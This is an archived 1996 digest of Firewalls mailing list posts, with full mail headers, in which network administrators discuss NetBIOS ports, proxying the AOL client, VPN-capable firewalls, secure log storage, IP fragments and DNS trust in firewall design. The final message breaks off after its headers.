Date: Wed, 28 Feb 1996 22:56:51 -0500
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

TCP 139, NBSessions is used for the actual login sequence. You will 
actually have to enable udp 137, udp/tcp 138, and tcp 139 to enable full NT 
access. By rights, udp 138 shouldn't be necessary, and udp 137 could be 
eliminated if browsing is not going to be used.

Cheers,
Russ



From firewalls-owner  Fri Mar  1 02:32:04 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA00864 for firewalls-outgoing; Thu, 29 Feb 1996 15:38:44 -0800 (PST)
Received: from gatekeeper.hsa.com (phony.hsa.com [206.135.12.6]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id PAA00856 for <firewalls@greatcircle.com>; Thu, 29 Feb 1996 15:38:39 -0800 (PST)
Received: from gatekeeper.hsa.com (daemon@localhost) by gatekeeper.hsa.com (8.6.12/8.6.12) with ESMTP id PAA06885 for <firewalls@greatcircle.com>; Thu, 29 Feb 1996 15:12:25 -0800
Received: from hsa.com ([140.4.3.4]) by gatekeeper.hsa.com (8.6.12/8.6.12) with ESMTP id PAA06881 for <firewalls@greatcircle.com>; Thu, 29 Feb 1996 15:12:25 -0800
Received:  by hsa.com                                                            
        id PAA19628; Thu, 29 Feb 1996 15:36:17 -0800                                                               
Date: Thu, 29 Feb 1996 15:36:22
From: Matt Holdrege <matt@hsa.com>
Message-Id: <19960229153622matt@matt>
To: rafa@uap.edu.ph
Subject: Re: 3Com Routers
Cc: firewalls@greatcircle.com
X-Mailer: Pronto E-Mail [version 2.0]
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> If any of the subscribers uses 3Com, I would appreciate sharing some
>  experiences regarding filtering in 3Com routers--perhaps by private mail 
>  if the topic is not of general interest.

3TECH newsletter had a list of common "firewall" filters that should be set 
on 3COM Internet routers. You can call them or check at www.3com.com and 
look for 3TECH.

Matt Holdrege     matt@hsa.com

From firewalls-owner  Fri Mar  1 02:41:01 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA02339 for firewalls-outgoing; Thu, 29 Feb 1996 21:34:36 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA01733 for <firewalls@miles>; Thu, 29 Feb 1996 21:32:31 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id VAA15567; Wed, 28 Feb 1996 21:00:04 -0800
Received: from brutus.uap.edu.ph(203.172.10.6) by mycroft via smap (V1.3mjr)
	id sma015563; Wed Feb 28 20:59:44 1996
Received: from itcl1.uap.edu.ph (203.172.10.138) by brutus.uap.edu.ph (EMWAC SMTPRS 0.60) with SMTP id <B0000013254@brutus.uap.edu.ph>; Thu, 29 Feb 1996 13:01:18 +0800
Received: by itcl1.uap.edu.ph with Microsoft Mail
	id <01BB06A6.62043000@itcl1.uap.edu.ph>; Thu, 29 Feb 1996 13:03:56 -0000
Message-ID: <01BB06A6.62043000@itcl1.uap.edu.ph>
From: Rafael Portillo <rafa@uap.edu.ph>
To: "'Perry The Cynic'" <perry@sutr.cynic.org>
Cc: "firewalls@greatcircle.com" <firewalls@greatcircle.com>
Subject: RE: Proxy-server for AOL client??? 
Date: Thu, 29 Feb 1996 13:03:54 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Perry,

I am interested in your AOL relay.  Could you send it over?

Thank you 
Rafa 


     For what it's worth, I've written an AOL relay demon that is freely
available for the asking. AOL is just using a single outbound TCP
channel, so it's not complicated. The demon logs connections,
forces connections to AOL (only), and runs as "nobody" (or anybody
else you like) under inetd.
  -- perry


From firewalls-owner  Fri Mar  1 02:42:51 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA00182 for firewalls-outgoing; Thu, 29 Feb 1996 18:13:23 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA01965 for <firewalls@miles>; Thu, 29 Feb 1996 16:02:13 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id OAA21048; Thu, 29 Feb 1996 14:58:31 -0800
Received: from atlantis.actrix.gen.nz(192.100.53.23) by mycroft via smap (V1.3mjr)
	id sma021046; Thu Feb 29 14:58:19 1996
Received: (from uukellux@localhost) by atlantis.actrix.gen.nz (8.6.11/8.6.9) id JAA09561 for firewalls@greatcircle.com; Fri, 1 Mar 1996 09:40:45 +1300
>Received: by nzqa.govt.nz; Fri, 01 Mar 96 09:32:13 
Message-ID: <70093731019BCCD1@nzqa.govt.nz>
Date:  Fri, 01 Mar 96 09:32:13 
From: Mark Goring <MARK@nzqa.govt.nz>
To: firewalls@greatcircle.com
Subject: Net security
X-Mailer: UGate [Ver. 1.99p]
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


Out of interest, as this seems to be the place to ask...
Any opinions as to what level of security the system behind the firewall 
should be?
I recently attended a seminar where it was recommended the system behind 
the firewall should be B2 level secure.
Anyone?


*-*Mark Goring                  voice:  +64 4 802 3015 *-*
*-*P.O Box 160, Wellington      Fax:    +64 4 802 3112 *-*
*-*New Zealand                  internet:    mark@nzqa.govt.nz *-*
*-*Diplomacy is the art of saying "Nice Doggy" until   *-*
*-*              you can find a rock                   *-*



From firewalls-owner  Fri Mar  1 02:59:12 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA01077 for firewalls-outgoing; Thu, 29 Feb 1996 15:47:20 -0800 (PST)
Received: from global.globale.net (global.ca [204.101.90.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id PAA01072 for <firewalls@greatcircle.com>; Thu, 29 Feb 1996 15:47:15 -0800 (PST)
Received: from ppp24.globale.net (ppp24.globale.net [204.101.90.24]) by global.globale.net (8.6.8.1/SCA-6.6)  with SMTP
	id XAA05555 for <firewalls@greatcircle.com>; Thu, 29 Feb 1996 23:41:45 GMT
Date: Thu, 29 Feb 1996 23:41:45 GMT
Message-Id: <199602292341.XAA05555@global.globale.net>
X-Sender: ecaron@globale.net
X-Mailer: Windows Eudora Light Version 1.5.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@greatcircle.com
From: Eric Caron <ecaron@globale.net>
Subject: Access servers
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

  I wish to express my gratefulness to those who answered the question I
previously submitted.  We are currently working on a dial-up access project.
We have looked at access servers that support Tacacs+ or Radius
authentication protocols.  We are also looking at Windows NT as an
alternative.  Does anyone have implemented this solution?  If so, will NT
allow us to segregate our network in order to give to some users, access to
parts of the network and full access to others?  Can we limit access to
specific services such as Telnet, FTP, etc.?

  Should NT be an alternative, is the management overhead significant?  If
anyone can help us, you answers will be much apreciated.

Regards,
Eric Caron. 
***********************************************
* To be or not to be... | William Shakespeare *
* To be is to be.       | Jean-Paul Sartre    *
* To be do be do.       | Frank Sinatra       *
***********************************************


From firewalls-owner  Fri Mar  1 03:02:54 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA00147 for firewalls-outgoing; Thu, 29 Feb 1996 21:27:23 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA00419 for <firewalls@miles>; Thu, 29 Feb 1996 21:14:01 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id UAA22174; Thu, 29 Feb 1996 20:08:44 -0800
Received: from starbase.ingress.com(199.171.57.2) by mycroft via smap (V1.3mjr)
	id sma022170; Thu Feb 29 20:08:11 1996
Received: from cbk.tiac.net by starbase.ingress.com (SMI-8.6/SMI-SVR4
 )
	id WAA05228; Thu, 29 Feb 1996 22:28:17 -0500
Date: Thu, 29 Feb 1996 22:28:17 -0500
Message-Id: <199603010328.WAA05228@starbase.ingress.com>
X-Sender: cbk@ingress.com
X-Mailer: Windows Eudora Version 1.4.4
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Firewalls@GreatCircle.COM
From: cbk@ingress.com (Charles B. Kaplan)
Subject: Re: IP fragments and packet filters
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>The only time you're ever likely to see a packet with FO=1 is if a bad guy is
>knocking at your door.

Would there ever be exceptions to this that would stem from the passing of
data long distance, and thus forcing the data into a bigger pipe (say an ATM
link cross country), and then back out of the pipe, possible becoming
fragmented.

IE, my east coast LAN wants to connect to my west coast LAN, which will
involve traversing (substitute your favorate backbone providers) ATM link.
Therefor my 68byte header + data get dumped into larger (I forget frame size
at the moment) ATM cell, which could POSSIBLY ?? cause one byte to cross a
cell boundry, and thuse appear fragmented to the remote site ?

I guess this couldn't happen since everything is still a multiple of 8, so
it should always fit on a boundry ??

Comments from someone who understands this better than I.....

-Charles Kaplan


From firewalls-owner  Fri Mar  1 03:12:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA01634 for firewalls-outgoing; Thu, 29 Feb 1996 21:32:16 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA01035 for <firewalls@miles>; Thu, 29 Feb 1996 21:30:39 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id XAA16469; Wed, 28 Feb 1996 23:15:27 -0800
Received: from mail.crl.com(165.113.1.22) by mycroft via smap (V1.3mjr)
	id sma016455; Wed Feb 28 23:15:13 1996
Received: from [192.0.2.1] (crl4.crl.com) by mail.crl.com with SMTP id AA17443
  (5.65c/IDA-1.5 for <Firewalls@GreatCircle.COM>); Wed, 28 Feb 1996 23:14:00 -0800
Message-Id: <199602290714.AA17443@mail.crl.com>
X-Sender: jhue@mail.crl.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 28 Feb 1996 23:20:01 -0700
To: Firewalls@GreatCircle.COM
From: jhue@crl.com (Jonathan Hue)
Subject: Re: Proxy-server for AOL client?
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


>I am expecting that the answer to this question will be a firm "no", has 
>anyone out there heard of a way of setting up a proxy server so that the 
>AOL client on a users machine can use tcp/ip through a firewall to reach AOL?

Why would you expect the answer to be no?  It is trivially simple to
proxy the AOL client.  A couple minutes with a sniffer, or just poking
through the files that come with the AOL application makes it obvious
how to do it.

On the Mac, the AOL client uses a single TCP connection; the destination
port is 5190 on host americaonline.aol.com.  This can be proxied with
plug-gw from the TIS fwtk, along with changing "americaonline.aol.com"
in the file TCPack to the name of your firewall.  About five minutes of
work.

I'd still suggest using a sniffer though, otherwise you might not know that
your username and password get sent in the clear.

-Jonathan                       jhue@crl.com



From firewalls-owner  Fri Mar  1 03:45:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA03425 for firewalls-outgoing; Thu, 29 Feb 1996 21:38:15 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA01269 for <firewalls@miles>; Thu, 29 Feb 1996 21:16:27 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id EAA18282; Thu, 29 Feb 1996 04:24:54 -0800
Received: from dns.ottawa.net(205.211.4.4) by mycroft via smap (V1.3mjr)
	id sma018276; Thu Feb 29 04:24:31 1996
Received: from slip-ppp18.ottawa.net (slip-ppp18.ottawa.net [205.211.5.18]) by dns.ottawa.net (8.6.12/8.6.9) with SMTP id HAA14305; Thu, 29 Feb 1996 07:25:02 -0500
Date: Thu, 29 Feb 1996 07:25:02 -0500
Message-Id: <199602291225.HAA14305@dns.ottawa.net>
X-Sender: bjm@ottawa.net
X-Mailer: Windows Eudora Version 1.4.4
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: asafier@explorer.csc.com
From: bjm@ottawa.net (Brian McIntosh)
Subject: Re: VPN's over the internet
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Raptor has had encrypted firewall-firewall VPN for some time. 
They also have encrypted VPN from firewall to home-based PC 
or mobile laptop.

Regards,
Brian

>
>Several Firewall vendors now produce firewalls with firewall-firewall 
>link encryption.  I recently installed Smartwall from V-One (Gauntlet 
>VAR) and it worked fine.
>
-snip-
>
>Last I heard Raptor, Sun and possibly others had or were working on 
>encrypted links - a flood is coming.  DEC and others make stand alone 
>encryption boxs to toss on the front of your network.
>
>Always ask about key distribution and the security of remote management - 
>assuming your policy allows remote management (a sore point.)
>  
>Have fun,
>Adam Safier
>Computer Scientist
>CSC-SED Infosec
>
>This is my 2 cents worth (or less), not my employers.
>
>
>On Mon, 26 Feb 1996, Joseph L. Moll wrote:
>> I am in the middle of a design that will require a Firewall product that
>> will also serve as a end node to a VPN.
>> 
>> I would appreciate any input from folks that have actually implemented this
>> configuration.
>
>


===============================================================
 Brian J. McIntosh  
 
 UniSol Inc.     

                53 Courtney Road        Tel:    613 831 6373
                Kanata, Ontario         Fax:    613 831 4739
                Canada, K2L 1M1         Email:  bjm@ottawa.net
===============================================================


From firewalls-owner  Fri Mar  1 04:15:50 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA00204 for firewalls-outgoing; Thu, 29 Feb 1996 18:14:50 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id QAA02068 for <firewalls@miles>; Thu, 29 Feb 1996 16:02:28 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id OAA20907; Thu, 29 Feb 1996 14:15:29 -0800
Received: from dns.eng.auburn.edu(131.204.10.13) by mycroft via smap (V1.3mjr)
	id sma020893; Thu Feb 29 14:14:59 1996
Received: from netman.eng.auburn.edu (netman.eng.auburn.edu [131.204.12.24]) by dns.eng.auburn.edu (8.7.4/8.6.4) with ESMTP id QAA28203; Thu, 29 Feb 1996 16:16:32 -0600 (CST)
From: Doug Hughes <Doug.Hughes@Eng.Auburn.EDU>
Received: from localhost (doug@localhost) by netman.eng.auburn.edu (8.6.4/8.6.4) id QAA27221; Thu, 29 Feb 1996 16:16:28 -0600
Date: Thu, 29 Feb 1996 16:16:28 -0600
Subject: Re: catastrophe logs
To: jmr@winternet.com
Cc: firewalls@greatcircle.com
Message-Id: <doug-9601292216.AA002026614@netman.eng.auburn.edu>
In-Reply-To: <199602290013.SAA09235@klondike>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


>
>How do you folks store a safe copy of syslog info?
>_Building_Internet_Firewalls_ recommends building a "dropsafe" logging
>device out of a PC connected to a serial port on the bastion host:
>     
>    Configure the PC in such a way that it boots up into a terminal
>    program in "record" mode, and that every so often (every
>    100,000 bytes, for example), the log files are rotated and pruned
>    so the system never runs out of disk space.
>
>Now I can configure any one of a dozen terminal programs to log
>everything that comes over the serial port, but how do I accomplish
>the pruning/rotating of the log files?  If there a some PC software
>out there that does this?  kermit, the best terminal software I know
>of, doesn't seem to be capable of this trick.  Have you folks written
>a home-brew solution?
>
>Thanks for any and all help.
>
>-John Rauser
>jmr@winternet.com
>

Well, we don't go to quite that level of effort to secure logs, though
some do. We have a restricted access unix machine that can only be logged
into from certain machines in a certain way, by a small group of about 8
users. I compress the logs and store them on floppy or tape every couple
of months.
 Another solution some might use would be to just use an old almost-suplus
printer and have the logs dumped to the printer. This could even be used
in parallel to disk access. THe printer would be a permanent record while
the disk would make the logs searchable for specific records.
 An old printronix or other green-bar printer might do this pariticularly
well (as long as it wasn't in an office.. NOISY).

--
____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug@eng.auburn.edu
		Pro is to Con as progress is to congress

From firewalls-owner  Fri Mar  1 04:28:53 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA00466 for firewalls-outgoing; Thu, 29 Feb 1996 15:23:32 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id PAA00461 for <firewalls@miles>; Thu, 29 Feb 1996 15:23:27 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id PAA21169; Thu, 29 Feb 1996 15:18:25 -0800
Received: from mailhost1.primenet.com(198.68.32.51) by mycroft via smap (V1.3mjr)
	id sma021167; Thu Feb 29 15:17:52 1996
Received: from usr3.primenet.com (root@usr3.primenet.com [198.68.32.13]) by mailhost1.primenet.com (8.7.3/8.7.1) with ESMTP id QAA27171; Thu, 29 Feb 1996 16:18:58 -0700 (MST)
Received: (from boogie@localhost) by usr3.primenet.com (8.7.3/8.7.3) id QAA29889; Thu, 29 Feb 1996 16:18:58 -0700 (MST)
Date: Thu, 29 Feb 1996 17:18:56 -0600 (CST)
From: Reef Shafer <boogie@primenet.com>
To: Ken Hardy <ken@bridge.com>
cc: firewalls@GreatCircle.COM
Subject: Re: What port does NT use for logins?
In-Reply-To: <199602281453.AA20718@ignatz.bridge.com>
Message-ID: <Pine.BSD.3.91.960229164419.20931A-100000@usr3.primenet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


While were on the subject of windows logins, does any one have any 
DETAILED information about how microsoft implemented the login process. 
The microsoft winnt tcp/ip whitepaper mentions that the following ports 
are used for NetBIOS over tcp/ip:

	137/udp (name services)
	138/udp (datagram services)
	139/tcp (session services)

but doesn't give any info about source or destination ports. is this a 
process that maps 137 src --> 137 dst or is it "random" src --> 137 dst?
additionally, can i limit outside connections to the WINS server only, or 
do i need to allow connections to all internal hosts that i want the 
"outsider" to see?

I want to add a set of filters to my firewall to allow a machine outside 
the local subnet to browse the screened network and have access to files. 
I have looked for examples of a "MS-net Ruleset" but have failed to find 
anything. Any help would be greatly appreciated.

boogie
<boogie@primenet.com>   



On Wed, 28 Feb 1996, Ken Hardy wrote:

> Chris Carlson <carlson@bah.com> asked:
> 
> >What port number does Windows NT clients/servers use for logging into
> >each other via IP?
> 
> I'll presume that you mean NetBIOS over TCP.  There's an RFC for it
> (don't have the number handy.)  It uses:
> 
>     netbios-ns      137/udp
>     netbios-ssn     139/tcp
> 
> The 137/udp is for name resolution, and the connection happens over
> 139/tcp.  I *think* that you could get by without the udp port if you
> use static names (in lmhosts file); I'm working on an experiment now
> to see if I could just proxy 139/tcp through a firewall and get
> connected.
> 
> I'm using plug-gw for a many-to-one type of configuration, but I
> believe that the SMB protocol (which is what rides over the NetBIOS
> connection) contains the name of the target in the openning message, so
> it might to be possible to design a proxy that's aware of the protocol
> and reads the target name to provide a many-to-many service (complete
> with ACLs).  I'm unaware of such a proxy (and am not considering
> writing one.)
> 
> -KH
> 

From firewalls-owner  Fri Mar  1 04:37:39 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id VAA01844 for firewalls-outgoing; Thu, 29 Feb 1996 21:33:00 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id VAA01126 for <firewalls@miles>; Thu, 29 Feb 1996 21:30:52 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id XAA16357; Wed, 28 Feb 1996 23:02:26 -0800
Received: from relay5.uu.net(192.48.96.15) by mycroft via smap (V1.3mjr)
	id sma016344; Wed Feb 28 23:01:25 1996
Received: from nsco.network.com by relay5.UU.NET with SMTP 
	id QQaezc14191; Thu, 29 Feb 1996 02:00:18 -0500 (EST)
Received: from mnbp.network.com (ushub.network.com) by nsco.network.com (4.1/1.34)
	id AA11416; Thu, 29 Feb 96 00:59:11 CST
Received: by mnbp.network.com with Microsoft Mail
	id <31354D7A@mnbp.network.com>; Thu, 29 Feb 96 00:53:46 CST
From: Craig McLellan <mclelcl@onto.network.com>
To: firewalls <firewalls@greatcircle.com>
Subject: Re: VPN's over the internet
Date: Thu, 29 Feb 96 00:50:00 CST
Message-Id: <31354D7A@mnbp.network.com>
X-Mailer: Microsoft Mail V3.0
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


The problem with these "add-ons" is that they are just that, mere "feature" 
check lists.  When you start digging into what software vendors are offering 
you quickly find that it is typically rather rudimentarily.  Things like 
manual keys, DES only support and encryption vs. cryptography (replay 
prevention, non-repudiation, etc.) are all issues that must be addressed.

Just my $02 worth.

RGRDS.....clm
 ----------
From: firewalls-owner
To: Joseph L. Moll
Cc: firewalls
Subject: Re: VPN's over the internet
Date: February 28, 1996 12:55


Several Firewall vendors now produce firewalls with firewall-firewall
link encryption.  I recently installed Smartwall from V-One (Gauntlet
VAR) and it worked fine.

My big issue with multi-firewall designs is the problem of remote
management vs. an expert at each site.  Smartwall has secure Telnet based
on their one-time password product so you can be at two places at once.
I managed not to lock myself out too often...8-)

Performance is another issue.  Smartwall had an optional DES encryption
board (- with German markings (huh?)) to boost performance but that
forced them to use the same password/key on all firewalls in the VPN that
talked to each other.  I think that's acceptable since the VPN
essentially extends your local net to the remote site.  If one
firewall/site is compromised the whole net is compromised.  Of course you
could add filter rules on each box if you don't want a full access
VPN.....

Last I heard Raptor, Sun and possibly others had or were working on
encrypted links - a flood is coming.  DEC and others make stand alone
encryption boxs to toss on the front of your network.

Always ask about key distribution and the security of remote management -
assuming your policy allows remote management (a sore point.)

Have fun,
Adam Safier
Computer Scientist
CSC-SED Infosec

This is my 2 cents worth (or less), not my employers.


On Mon, 26 Feb 1996, Joseph L. Moll wrote:
> I am in the middle of a design that will require a Firewall product that
> will also serve as a end node to a VPN.
>
> I would appreciate any input from folks that have actually implemented 
this
> configuration.

From firewalls-owner  Fri Mar  1 04:44:23 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id PAA00344 for firewalls-outgoing; Thu, 29 Feb 1996 15:18:43 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA01946 for <firewalls@miles>; Thu, 29 Feb 1996 11:04:40 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id HAA18832; Thu, 29 Feb 1996 07:15:00 -0800
From: bmanning@ISI.EDU
Received: from venera.isi.edu(128.9.0.32) by mycroft via smap (V1.3mjr)
	id sma018830; Thu Feb 29 07:14:04 1996
Received: from zed.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA23543>; Thu, 29 Feb 1996 07:15:47 -0800
Received: by zed.isi.edu (5.65c/4.0.3-4)
	id <AA13872>; Thu, 29 Feb 1996 07:11:05 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA11492>; Thu, 29 Feb 1996 07:11:54 -0800
Received: from zephyr.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA23483>; Thu, 29 Feb 1996 07:11:53 -0800
Received: by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA11035>; Thu, 29 Feb 1996 06:45:53 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-20)
	id <AA11029>; Thu, 29 Feb 1996 06:45:51 -0800
Received: from zed.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA22817>; Thu, 29 Feb 1996 06:45:50 -0800
Posted-Date: Thu, 29 Feb 1996 06:41:09 -0800 (PST)
Message-Id: <199602291441.AA13807@zed.isi.edu>
Received: by zed.isi.edu (5.65c/4.0.3-4)
	id <AA13807>; Thu, 29 Feb 1996 06:41:09 -0800
Subject: Re: host tables versus bind 
To: mis@seiden.com
Date: Thu, 29 Feb 1996 06:41:09 -0800 (PST)
Cc: mcr@milkyway.com, bind@uunet.uu.net, pier@ISI.EDU
In-Reply-To: <9602260110.AA02471@seiden.com> from "Mark Seiden" at Feb 25, 96 05:10:17 pm
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> regarding actually *using* names rather than numbers, there are some
> low-value services that perhaps names are appropriate for, in general:
> e.g. access to outward-only proxies or low value services, or services
> which use other forms of authentication (e.g. encryption).
> 
> regarding whether internal DNS servers are susceptible to attack: in
> some environments they can be attacked by insiders not all of whom are
> trustworthy, but my point was mostly directed at engineering for
> reliability -- one would hope a firewall would not need to rely on n
> other computers also being up for it to do its job correctly.
>
....
> 
>   I guess not. What kind of firewall technology are you using that 
> embeds IP addresses/names all over the place and doesn't let you change
> them easily?
>   I welcome the demise of /etc/hosts. 
>  
> mark seiden, mis@seiden.com, 1-(415) 592 8559 (voice)

	Interesting discussion.  There is a group of people over there ->
	that are discussing the ramifications of periodic renumbering
	of infrastructure components.  The basic premise is that
	renumbering of infrastructure will become more prevelent
	as the Internet grows. (discussions on the validity of this
	premise are for private email to me)

	The end result is that the use of dotted quads as persistant
	identifiers will become greatly reduced.  There will be an
	increasing dependence on services like DNS and DHCP to 
	have enabled infrastructure.

	If you have some thoughts on the scope of changes that this
	will bring to the trust model on which current firewalls are
	built, your comments are encouraged.

	general list -  pier-request@isi.edu
	Dave O'Leary -  doleary@cisco.com
	Howard C.  Berkowitz - hcb@mail.clark.net

	http://www.isi.edu/div7/pier   the papers link.

--bill


From firewalls-owner  Fri Mar  1 04:48:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA00131 for firewalls-outgoing; Thu, 29 Feb 1996 18:57:08 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id SAA01025 for <firewalls@miles>; Thu, 29 Feb 1996 18:53:12 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id QAA21338; Thu, 29 Feb 1996 16:02:34 -0800
Date: Thu, 29 Feb 1996 16:02:34 -0800
Message-Id: <199603010002.QAA21338@mycroft.GreatCircle.COM>
Received: from milkyway.com(198.53.167.2) by mycroft via smap (V1.3mjr)
	id sma021330; Thu Feb 29 16:01:51 1996
Received: from perseids.milkyway.com (perseids.milkyway.com [192.168.77.77])
	by internet with SMTP (DuhMail/2.0)
	id SAA19210; Thu, 29 Feb 1996 18:58:12 -0500
X-Authentication-Warning: internet: Host perseids.milkyway.com claimed to be [192.168.77.77]
From: "Hung Vu"  <hungv@mail.fonorola.net>
Reply-To: "Hung Vu"  <hungv@fonorola.net>
To: rjc@mari.co.uk
Cc: firewalls@greatcircle.com
Subject: Re: VPN's over the internet
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Most high end firewall vendors support VPN with secure remote PC access;  
however only Milkyway Networks' Black Hole offers strong key management using 
Northern Telecom's Entrust X.509 certificates for both VPN and remote pc access.
Check out www.milkyway.com or info@milkyway.com.

Hung.

In message <313378E2@landlord.mari.co.uk> Robert Campbell writes:
> 
> Please try and talk to someone at Borderware they are about to release a 
> firewall version supporting VPN encrypted.
> Tell them I sent you.
> robert.campbell@mari.co.uk
>  ----------
> From: firewalls-owner
> To: firewalls
> Subject: VPN's over the internet
> Date: 26 February 1996 17:41
> 
> I am in the middle of a design that will require a Firewall product that
> will also serve as a end node to a VPN.
> 
> I would appreciate any input from folks that have actually implemented this
> configuration.
> 
> Regards,
>  ---
> Joseph (Joe) L. Moll  mailto:jmoll@acquion.com
> http://www.acquion.com  phone:864-281-4108  fax:864-281-4576
> Acquion, Inc.  Greenville, SC  USA -- Specialists in Electronic Commerce
> 
> 








From firewalls-owner  Fri Mar  1 04:58:07 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA00761 for firewalls-outgoing; Thu, 29 Feb 1996 18:48:41 -0800 (PST)
Received: from scruz.net (nic.scruz.net [165.227.1.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id SAA00754 for <firewalls@GreatCircle.COM>; Thu, 29 Feb 1996 18:48:36 -0800 (PST)
From: jcg@scruznet.com
Received: from jcg.wcdssi.com by scruz.net (8.7.3/1.34)
	id SAA11978; Thu, 29 Feb 1996 18:46:45 -0800 (PST)
Date: Thu, 29 Feb 96 18:36:29 PST
Subject: Re: USE OF 'MANAGED' INTERNET CONNECTION 
To: firewalls@count04.mry.scruznet.com, Bill Van Emburg <bve@yourtown.com>
Cc: chris.clark@iis.net, tim.meingardt@iis.net, gblolmxb@ibmmail.com,
        firewalls@GreatCircle.COM, firewalls@count04.mry.scruznet.com
X-PRIORITY: 3 (Normal)
X-Mailer: Chameleon 4.6, TCP/IP for Windows, NetManage Inc.
